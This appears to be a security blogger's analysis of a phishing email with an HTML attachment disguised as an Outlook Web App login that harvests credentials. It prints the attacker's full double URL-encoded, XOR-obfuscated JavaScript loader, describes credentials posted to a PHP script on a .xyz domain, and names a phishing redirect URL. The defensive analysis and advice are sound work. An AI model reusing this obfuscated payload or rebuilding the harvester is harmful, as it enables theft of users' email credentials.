SPAM or Disguised MS Outlook?— Credentials Harvester

It is not fun to watch end users, company stakeholders, company management receiving such emails. Most of the times, I have seen Invoice emails, Email not received type of mails etc. Over the period of time I have took few samples to look into over a period of time in order to gain more insights onto how the newbies and highly sophisticated attackers are using this known technique of Social Engineering nowadays.

In one of the sample, which derived my interest was it contained an attachment with the disguised text that your emails are rejected. But the thing to be noted was that the attachment was not an excel, pdf neither a word document. In fact it was an HTML file. But Why?

Let’s take a look into what this HTML file has to offer.

On opening the HTML file. It looked like this. An Outlook Web App. Pretty disguised. The attacker has auto filled the email field with the actual email of the recipient. Which in this I had to remove!

So, before entering the login details. I have opened the file in Visual Studio Code. On looking the code. We can see that the attacker is trying to harvest the below information.

The CSS code was just for styling and nothing else. But I found a comment which was uncommented in a unique way and my eyes caught an EVAL function. Well, it seems like this might be the actual stuff.

document.write(unescape("%3Chtml%3E%0A%3Chead%3E%0A%3C/head%3E%0A%3Cbody%3E%0A%0A%3Cscript%20type%3D%22text/javascript%22%3E%0A%3C%21--%20%0Aeval%28unescape%28%27%2566%2575%256e%2563%2574%2569%256f%256e%2520%2566%2539%2539%2563%2531%2534%2566%2528%2573%2529%2520%257b%250a%2509%2576%2561%2572%2520%2572%2520%253d%2520%2522%2522%253b%250a%2509%2576%2561%2572%2520%2574%256d%2570%2520%253d%2520%2573%252e%2573%2570%256c%2569%2574%2528%2522%2539%2538%2538%2530%2539%2536%2535%2522%2529%253b%250a%2509%2573%2520%253d%2520%2575%256e%2565%2573%2563%2561%2570%2565%2528%2574%256d%2570%255b%2530%255d%2529%253b%250a%2509%256b%2520%253d%2520%2575%256e%2565%2573%2563%2561%2570%2565%2528%2574%256d%2570%255b%2531%255d%2520%252b%2520%2522%2536%2532%2533%2533%2533%2530%2522%2529%253b%250a%2509%2566%256f%2572%2528%2520%2576%2561%2572%2520%2569%2520%253d%2520%2530%253b%2520%2569%2520%253c%2520%2573%252e%256c%2565%256e%2567%2574%2568%253b%2520%2569%252b%252b%2529%2520%257b%250a%2509%2509%2572%2520%252b%253d%2520%2553%2574%2572%2569%256e%2567%252e%2566%2572%256f%256d%2543%2568%2561%2572%2543%256f%2564%2565%2528%2528%2570%2561%2572%2573%2565%2549%256e%2574%2528%256b%252e%2563%2568%2561%2572%2541%2574%2528%2569%2525%256b%252e%256c%2565%256e%2567%2574%2568%2529%2529%255e%2573%252e%2563%2568%2561%2572%2543%256f%2564%2565%2541%2574%2528%2569%2529%2529%252b%2534%2529%253b%250a%2509%257d%250a%2509%2572%2565%2574%2575%2572%256e%2520%2572%253b%250a%257d%250a%27%29%29%3B%0Aeval%28unescape%28%27%2564%256f%2563%2575%256d%2565%256e%2574%252e%2577%2572%2569%2574%2565%2528%2566%2539%2539%2563%2531%2534%2566%2528%2527%27%29%20+%20%27%253b%2560%256e%2566%2560%251b%2554%2559%2572%2566%2568%2569%2539%251d%2566%2575%2578%2565%2568%253f%252d%2529%2570%2566%2569%256f%2568%2560%2575%2567%2562%256f%2578%2576%2567%2568%2569%256c%252a%2577%2577%2573%2523%2526%2535%253c%252a%2530%2532%255c%256f%252c%2531%2533%255a%2564%2566%252b%2526%2534%2563%256c%256c%2528%255e%2562%2562%256e%2557%2524%252b%2527%2533%252c%252f%2531%2532%255f%256f%256d%2529%2527%253b%252c%2569%2573%256c%2562%256c%252c%2531%2537%2563%2563%2568%2522%256c%2556%2567%255f%2569%2571%2562%256e%256c%2567%256e%2562%2527%252b%2527%252b%2529%256c%255e%2572%255f%2562%2528%2569%256c%2565%2519%2515%256f%2563%2573%2567%2568%2560%253a%251c%2549%2543%2546%2557%2517%251a%2568%255e%256a%2562%2539%251d%256a%256e%256b%2562%256d%254b%256d%256c%256a%251d%251f%2541%2549%253d%2555%255d%2545%2546%2530%2518%255f%256f%256f%256b%2565%255c%255f%2575%256d%2562%256d%2522%2572%252b%2570%2570%2570%2529%2561%2569%256b%2561%2520%2576%2567%256e%2563%2569%255c%2568%2560%2562%2562%251b%2514%2554%2576%2579%256d%255d%2568%256a%256f%2568%2562%2572%2564%2531%2517%256c%256b%2564%251c%25399880965%2533%2532%2535%2538%2539%2537%2539%27%20+%20unescape%28%27%2527%2529%2529%253b%27%29%29%3B%0A//%20--%3E%0A%3C/script%3E%0A%3Cnoscript%3E%3Ci%3EJavascript%20required%3C/i%3E%3C/noscript%3E%0A%0A%3C/html%3E%0A%0A"));

The data was URL Encoded. So, I moved onto decoding it and it yielded below data.

document.write(unescape("<html>
<head>
</head>
<body>

Here we can find three different unescape functions being used. We got to perform URL Decoding twice to reveal the actual function.

document.write(unescape("<html>
<head>
</head>
<body>

As we have now checked what the JS was about. This JS is generating the FORM action value which then get’s replaced in the actual phishing page as it does not contains the beginning of the form.

The technique used here to obfuscate the code XOR Multibyte!

Now let us try adding a sample username and password to check the exact behavior of this Credential Harvester.

On providing the credentials and clicking on Login. The page requests a website hosted over .xyz domain.

The passwords are being stored using the sauce.php, Well they are indeed creating a good sauce by harvesting more credentials.

As the attacker is quite good at creating pages. So he has used a redirection method to redirect the users to another page.

Eventually leading to the below page!

https://emaildelivery-fixed.web.app/

This states that you have successfully fixed your email delivery problem. Well, on this page we can see another script which is to set a timeout for redirecting user to where?

The timer is set to redirect the users to Microsoft Official Website, providing details on troubleshooting. This is just to make the users able to read that they have solved the issue. The redirection is to disguise the users in order to feel them comfortable.

Also, on checking Whois information. We can see that these domains were registered in January 2021. Which means that these domains are fairly new and are being used actively for harvesting AD/Outlook credentials for further compromising the victims.

The domains is still active and if you have got the privilege to reach at this end. Kindly block these domains in your organization as well.

Conclusion

Never trust the emails you received outside of your organization. Always be vigilant with the attachments you find with such emails. Report such cases to your organizational Information Security Department/Concerned Department.

If you have intentionally/unintentionally have opened the attachment and have added your credentials. Change your passwords immediately. Disconnect your system from the internal network. Reach out the Incident Response Unit or file the incident. Finally enable MFA everywhere.

Thank you for reading!

Cyber Security Enthusiast